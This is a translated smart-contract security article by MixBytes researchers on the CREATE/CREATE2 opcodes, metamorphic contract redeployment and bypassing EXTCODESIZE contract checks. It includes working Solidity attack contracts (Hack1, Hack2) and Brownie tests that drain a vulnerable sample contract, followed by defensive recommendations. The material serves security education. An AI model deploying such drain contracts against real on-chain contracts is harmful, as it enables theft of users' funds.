作者:Alexander Mazaletskiy - MixBytes 的安全研究员

CREATE 和 CREATE2 操作码
如你所知,在 EVM 中有两个操作码用于从另一个智能合约创建和创建2智能合约。这些合约也称为工厂。
每个操作码都有其自身的特性和陷阱。
让我们看看 CREATE 和 CREATE2 操作码之间的区别:
一个重要的区别在于新合约地址的确定方式。
使用 CREATE 时,地址是由工厂合约的 nonce 确定的。每当在工厂中调用 CREATE 时,其 nonce 将增加 1。
这种方法是非常有争议的,最近与 Optimism 相关的黑客事件就与此有关。 https://rekt.news/wintermute-rekt/
使用 CREATE2 时,地址是由任意的 salt 值和 init_code 确定的。
CREATE2 的一个重大优势是,目标地址不依赖于调用时工厂的确切状态(即 nonce)。这允许在链下模拟交易结果,这是许多基于状态通道的扩展方法中的一个重要部分。
CREATE
- 哈希创建它的账户的地址。
- 哈希“账户 nonce”,相当于到目前为止账户完成的交易数量。
- new_address = keccak256(sender, nonce); // 通过 RLP 编码 [sender, nonce]
CREATE2
0xFF,一个常量。
部署者的地址,因此智能合约地址是发送 CREATE2 的地址。
salt 是随机的。
将在特定地址上部署的已哈希字节码。
new_address = keccak256(0xFF, sender, salt, bytecode);
然而,在 EIP-1014 中激活 CREATE2 的 Constantinopol 硬分叉也引发了安全担忧。
如果在 Constantinopol 之前,合约部署模型有 3 种状态:
“尚未部署”、“已部署”或“自毁”,
那么在 Constantinopol 之后,变为 4 种状态:
“尚未部署”、“已部署”、“自毁”、“重新部署”。
这意味着什么?这意味着合约可以使用 CREATE2 操作码重新部署到其他字节码。
作为这种行为的示例,考虑一下 Metamorphic Contracts。
有关更多详情和变形合约的信息,请访问:
https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e
让我们考虑最可能的攻击情况。
攻击
案例 1. 使用不同的字节码重新部署
有两个不同的合约 ContractOne.sol 和 ContractTwo.sol。
代码
pragma solidity 0.8.16; /** * @title ContractOne * @notice 这是一个示例变形合约的第一个实现。 */ contract ContractOne { uint256 private _x; /** * @dev 测试函数 * @return value 一旦初始化为 1(否则为 0) */ function test() external view returns (uint256 value) { return _x; } /** * @dev 初始化函数 */ function initialize() public { _x = 1; } /** * @dev 销毁函数,它允许变形合约被重新部署。 */ function destroy() public { selfdestruct(payable(msg.sender)); } }pragma solidity 0.8.16; /* * @title ContractTwo * @notice 这是一个示例变形合约的第二个实现。 */ contract ContractTwo { event Paid(uint256 amount); uint256 private _x; function initialize() public { } /** * @dev 可支付的回退函数,发出一个记录付款的事件。 */ receive () external payable { if (msg.value > 0) { emit Paid(msg.value); } } /** * @dev 测试函数 * @return value 0 - 存储没有从第一次实现中继承。 */ function test() external view returns (uint256 value) { return _x; } }攻击
test/test_metamorphic_contracts.py
import pytest from brownie import ContractOne, ContractTwo init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3' def test_deploy(sender, metamorphic): assert metamorphic._metamorphicContractInitializationCode() == init_code_hash # 部署 ContractOne tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractOne.bytecode, '0x8129fc1c', {"from": sender}) deployed_address = tx.events['Metamorphosed']['metamorphicContract'] deployed_contract = ContractOne.at(deployed_address) assert deployed_contract.test() == 1 # 自毁 ContractOne deployed_contract.destroy({"from": sender}) # 部署 ContractTwo tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractTwo.bytecode, b"", {"from": sender}) deployed_address_new = tx.events['Metamorphosed']['metamorphicContract'] deployed_contract_new = ContractTwo.at(deployed_address_new) assert deployed_contract_new.test() == 0 # 合约重新部署 assert deployed_address == deployed_address_new案例 2. 将字节码部署到预定义地址
假设有一个特定地址。使用 EXTCODESIZE 操作码,可以验证该地址是一个 EOA 还是一个智能合约。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; contract Target2 { function isContract(address account) public view returns (bool) { // 此方法依赖于 extcodesize,对于正在构造中的合约返回 0, // 因为代码仅在构造函数执行结束时存储。 uint size; assembly { size := extcodesize(account) } return size > 0; } }contract SimpleContract2 { bool public isContract; address public addr; address public target; uint256 public balance; receive () external payable { if (msg.value > 0) { balance += msg.value; } } // 当合约正在被创建时,代码大小 (extcodesize) 为 0。 // 这将绕过 isContract() 检查。 constructor(address _target) payable { target = _target; } function setAddr(address _addr) external { require(!Target2(target).isContract(_addr), "不允许合约地址"); addr = _addr; } // 只为用户从合同中提取以太 function sweep(uint256 _value) external { require(msg.sender == addr, "不允许的地址"); // 如果我们有余额发送给用户 if (balance <= _value) { _value = balance; } if (_value > 0) { balance -= _value; (bool sent,) = payable(addr).call{value: _value}(""); } } }contract Hack2 { address public hacker; function setHacker(address _hacker) external { hacker = _hacker; } receive () external payable { if (msg.value > 0) { payable(hacker).send(msg.value); (bool success, bytes memory data) = msg.sender.call(abi.encodeWithSignature("sweep(uint256)", msg.value)); require(success, "未成功"); } } function drain(address _contract) external { (bool success, bytes memory data) = _contract.call(abi.encodeWithSignature("sweep(uint256)", 0.1 ether)); require(success, "未成功"); } }这段代码实现了以下功能(请勿在生产中使用此示例,仅仅用于潜在攻击的演示):
设置一个可以提取合约中以太的 EOA 地址,通过 setAddr,这意味着该地址不是智能合约。
允许提取已设置的 addr 中的以太。
攻击
test/conftest.py
import pytest from brownie import Target2 @pytest.fixture def target_2(Target2, sender): target_2 = sender.deploy(Target2) yield target_2 @pytest.fixture def target_2(Target2, sender): target_2 = sender.deploy(Target2) yield target_2test/test_create2_is_contract.py
from brownie import SimpleContract2, Hack2 from brownie.network import accounts init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3' def test_hack_2(sender, metamorphic, target_2, hacker_1, hacker_2, SimpleContract2, Hack2): # 获取 Addr addr = metamorphic.findMetamorphicContractAddress(sender.address + '000000000000000000000000') sender.transfer(addr, "1 ether") addr_account = accounts.at(addr, force=True) assert addr_account.balance() == 1e18 # 部署 SimpleContract2 simple_contract_2 = sender.deploy(SimpleContract2, target_2.address) # 设置 Addr 作为 EOA simple_contract_2.setAddr(addr) # 将代码部署到 addr tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', Hack2.bytecode, b"", {"from": sender}) deployed_addr = tx.events['Metamorphosed']['metamorphicContract'] assert deployed_addr == addr deployed_addr_account = accounts.at(addr, force=True) assert deployed_addr_account .balance() == 1e18 hack_2 = Hack2.at(deployed_addr) hack_2.setHacker(hacker_1, {"from": sender}) sender.transfer(simple_contract_2, "1 ether") balance_hacker_1_before = hacker_1.balance() # 清除 SimpleContract2 的余额 tx = hack_2.drain(simple_contract_2, {"from": hacker_2}) simple_contract_2_account = accounts.at(simple_contract_2, force=True) assert simple_contract_2_account.balance() == 0 balance_hacker_1_after = hacker_1.balance() assert balance_hacker_1_before < balance_hacker_1_afterEXTCODESIZE
在上面的示例中,代码使用的是 isContract() 函数,该函数又使用了 EXCODESIZE 操作码。
function isContract(address account) public view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; }这个想法很简单:如果一个地址包含代码,则它不是 EOA,而是一个合约账户。
然而,合约在构造期间没有代码可用。
示例
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; contract Target1 { function isContract(address account) public view returns (bool) { // 此方法依赖于 extcodesize,对于正在构建中的合约返回 0, // 因为代码仅在构造函数执行结束时存储。 uint size; assembly { size := extcodesize(account) } return size > 0; } bool public pwned = false; function protected() external { require(!isContract(msg.sender), "不允许合约地址"); pwned = true; } } contract FailedAttack1 { // 尝试调用 Target.protected 将会失败, // Target 阻止来自合约的调用 function pwn(address _target) external { // 这将失败 Target1(_target).protected(); } } contract Hack1 { bool public isContract; address public addr; // 当合约正在被创建时,代码大小 (extcodesize) 为 0。 // 这将绕过 isContract() 检查 constructor(address _target) { isContract = Target1(_target).isContract(address(this)); addr = address(this); // 这将成功 Target1(_target).protected(); } }安全建议
不幸的是,目前没有单一的方法来防止使用 create2 的攻击。然而,一种可能的安全措施是使用 EXTCODEHASH 字节码,并基于接收到的哈希创建字节码白名单。
有关更多的信息,请参阅 这里。
在检查外部调用时谨慎使用 EXTCODESIZE。
结论
使用 CREATE 和 CREATE2 提供了创建合约工厂的巨大机会,但也带来了巨大的危险。
CREATE2 应该比 CREATE 更好,但实际上却产生了更多问题。
使用 EXTCODESIZE 阻止智能合约攻击并不是一个安全的解决方案。
相关链接
CREATE,CREATE2
https://learnblockchain.cn/article/12423
https://learnblockchain.cn/article/12422
深入了解 CREATE2
https://blog.cotten.io/ethereums-eip-1014-create-2-d17b1a184498
https://forum.openzeppelin.com/t/selfdestruct-and-redeploy-in-the-same-transaction-using-create2-fails/8797/4
https://consensys.net/diligence/blog/2019/02/smart-contract-security-newsletter-16-create2-faq/
变形合约
https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e
EXTCODESIZE
https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/
EXTCODEHASH
https://soliditydeveloper.com/extcodehash
- MixBytes 是谁?
MixBytes 是一个由专家区块链审计员和安全研究人员组成的团队,专注于为 EVM 兼容和 Substrate 基础项目提供全面的智能合约审计和技术咨询服务。请关注我们的 X,以便随时了解最新的行业趋势和见解。
- 原文链接: mixbytes.io/blog/pitfall...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~